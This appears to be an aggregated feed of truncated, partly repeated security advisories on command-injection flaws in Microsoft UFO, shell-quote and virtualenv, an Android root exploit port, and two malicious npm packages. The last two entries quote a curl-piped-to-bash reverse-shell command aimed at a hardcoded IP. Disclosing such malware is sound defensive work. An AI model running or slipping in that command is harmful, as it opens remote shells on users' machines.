CVE-2026-105793 Microsoft UFO: Authenticated Android shell command injection in Mobile MCP `press_key`

Microsoft UFO is an open-source framework for intelligent automation across devices and platforms. Prior to 3.0.9, the presskey tool in ufo/client/mcp/httpservers/mobilemcpserver.py accepts a free-form keycode parameter and passes it to adb shell input keyevent. The adb client joins the arguments...

EUVD-2026-93421

Microsoft UFO is an open-source framework for intelligent automation across devices and platforms. Prior to 3.0.9, the presskey tool in ufo/client/mcp/httpservers/mobilemcpserver.py accepts a free-form keycode parameter and passes it to adb shell input keyevent. The adb client joins the arguments...

CVE-2026-105788 Microsoft UFO: Authenticated Android shell command injection in Mobile MCP type_text and launch_app

Microsoft UFO is an open-source framework for intelligent automation across devices and platforms. Prior to 3.0.10, the typetext and launchapp tools in ufo/client/mcp/httpservers/mobilemcpserver.py pass the authenticated caller-controlled text and packagename parameters into adb shell command...

CVE-2026-105788

The Microsoft UFO open-source framework is vulnerable to authenticated Android shell command injection in versions prior to 3.0.10 . The flaw exists in the type_text and launch_app tools within ufo/client/mcp/http_servers/mobile_mcp_server.py, where the text and package_name parameters are passed...

EUVD-2026-93405

Microsoft UFO is an open-source framework for intelligent automation across devices and platforms. Prior to 3.0.10, the typetext and launchapp tools in ufo/client/mcp/httpservers/mobilemcpserver.py pass the authenticated caller-controlled text and packagename parameters into adb shell command...

CVE-2026-105788 Microsoft UFO: Authenticated Android shell command injection in Mobile MCP type_text and launch_app

Microsoft UFO is an open-source framework for intelligent automation across devices and platforms. Prior to 3.0.10, the typetext and launchapp tools in ufo/client/mcp/httpservers/mobilemcpserver.py pass the authenticated caller-controlled text and packagename parameters into adb shell command...

CVE-2026-105788 Microsoft UFO: Authenticated Android shell command injection in Mobile MCP type_text and launch_app

Microsoft UFO is an open-source framework for intelligent automation across devices and platforms. Prior to 3.0.10, the typetext and launchapp tools in ufo/client/mcp/httpservers/mobilemcpserver.py pass the authenticated caller-controlled text and packagename parameters into adb shell command...

CVE-2026-105788

Microsoft UFO is an open-source framework for intelligent automation across devices and platforms. Prior to 3.0.10, the typetext and launchapp tools in ufo/client/mcp/httpservers/mobilemcpserver.py pass the authenticated caller-controlled text and packagename parameters into adb shell command...

EUVD-2026-88629

shell-quote: quote command injection via a line terminator in a token after a comment token...

shell-quote: `quote()` command injection via a line terminator in a token after a `{ comment }` token

Impact quote emits a comment token as followed by its text, which comments out the rest of the shell line, including the opening quote of any later string token. A line terminator in that later string ends the comment, and the rest of the string is parsed as shell input: js quote'echo', 'ok',...

@ache-lol/cli (>=0.1.97, <=0.1.99), @agent-workshop/adoc (>=0.1.0, <=0.1.3) +101 more potentially affected by CVE-2026-102422 via shell-quote (>=1.8.4, <=1.10.0)

shell-quote NPM version =1.8.4, =0.1.97, =0.1.0, =0.0.13, =14.0.13, =10.6.0, =3.3.0, =2.4.3, =6.0.4, =4.3.0, =1.0.0-beta.0, =4.2.5, =1.1.5, =7.2.3, =8.0.0-beta.1 - @appium/test-support 4.1.5 and more Source cves: CVE-2026-102422 Source advisory: OSV:GHSA-PQG4-J6R4-53MV...

NPM: shell-quote: `quote()` command injection via a line terminator in a token after a `{ comment }` token

NPM: shell-quote: quote command injection via a line terminator in a token after a comment token vulnerability discovered by ? in WordPress Npm shell-quote versions = 1.8.4, 1.11.0...

@ache-lol/cli (>=0.1.97, <=0.1.99), @agent-workshop/adoc (>=0.1.0, <=0.1.3) +101 more potentially affected by CVE-2026-102422 via shell-quote (>=1.8.4, <=1.10.0)

shell-quote NPM version =1.8.4, =0.1.97, =0.1.0, =0.0.13, =14.0.13, =10.6.0, =3.3.0, =2.4.3, =6.0.4, =4.3.0, =1.0.0-beta.0, =4.2.5, =1.1.5, =7.2.3, =8.0.0-beta.1 - @appium/test-support 4.1.5 and more Source cves: CVE-2026-102422 Source advisory: GHSA-PQG4-J6R4-53MV...

GHSA-PQG4-J6R4-53MV shell-quote: `quote()` command injection via a line terminator in a token after a `{ comment }` token

Impact quote emits a comment token as followed by its text, which comments out the rest of the shell line, including the opening quote of any later string token. A line terminator in that later string ends the comment, and the rest of the string is parsed as shell input: js quote'echo', 'ok',...

BIT-VIRTUALENV-2026-102925 virtualenv bash and fish activation scripts execute commands embedded in paths

virtualenv is a tool for creating isolated virtual python environments. Prior to 21.7.13, the generated activate bash and zsh and activate.fish scripts place values already escaped by shlex.quote inside an additional quoted context. In the bash and zsh script, a crafted virtual environment path...

aquos-r6-ghostlock

AQUOS R6 GhostLock temporärer Root Gerätespezifischer Linux-5.4-Port von GhostLock CVE-2026-43499 für das Sharp AQUOS R6. Das validierte Ziel ist das SoftBank A101SH Judau mit Android 11 Build S0029 / 01.00.06, Kernel 5.4.61-qgki. Das Target ghostlock54 erlangt echte UID/GID 0, setzt SELinux auf...

CVE-2026-94293

An unauthenticated remote attacker can modify Asset Administration Shell submodel data via PATCH requests and can read all data exposed by the GET endpoints...

EUVD-2026-92985

An unauthenticated remote attacker can modify Asset Administration Shell submodel data via PATCH requests and can read all data exposed by the GET endpoints...

Malicious code in internallib_v875 (npm)

Source: amazon-inspector a5772f4d8bb3df24cbd5859edef78f7770d547d4c366626552cd2dda539f1440 internallibv875 ships an index.js whose exported command function invokes /bin/bash -c with curl piped to sh, fetching a reverse-shell payload from https://reverse-shell.sh targeted at the hardcoded endpoint...

Malicious code in internallib_v86 (npm)

Source: amazon-inspector 9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07 internallibv86 ships a tiny index.js that exports a function command which invokes /bin/bash -c "curl https://reverse-shell.sh/... | sh" targeting 10.0.19.80:443. Any consumer that requires the package and...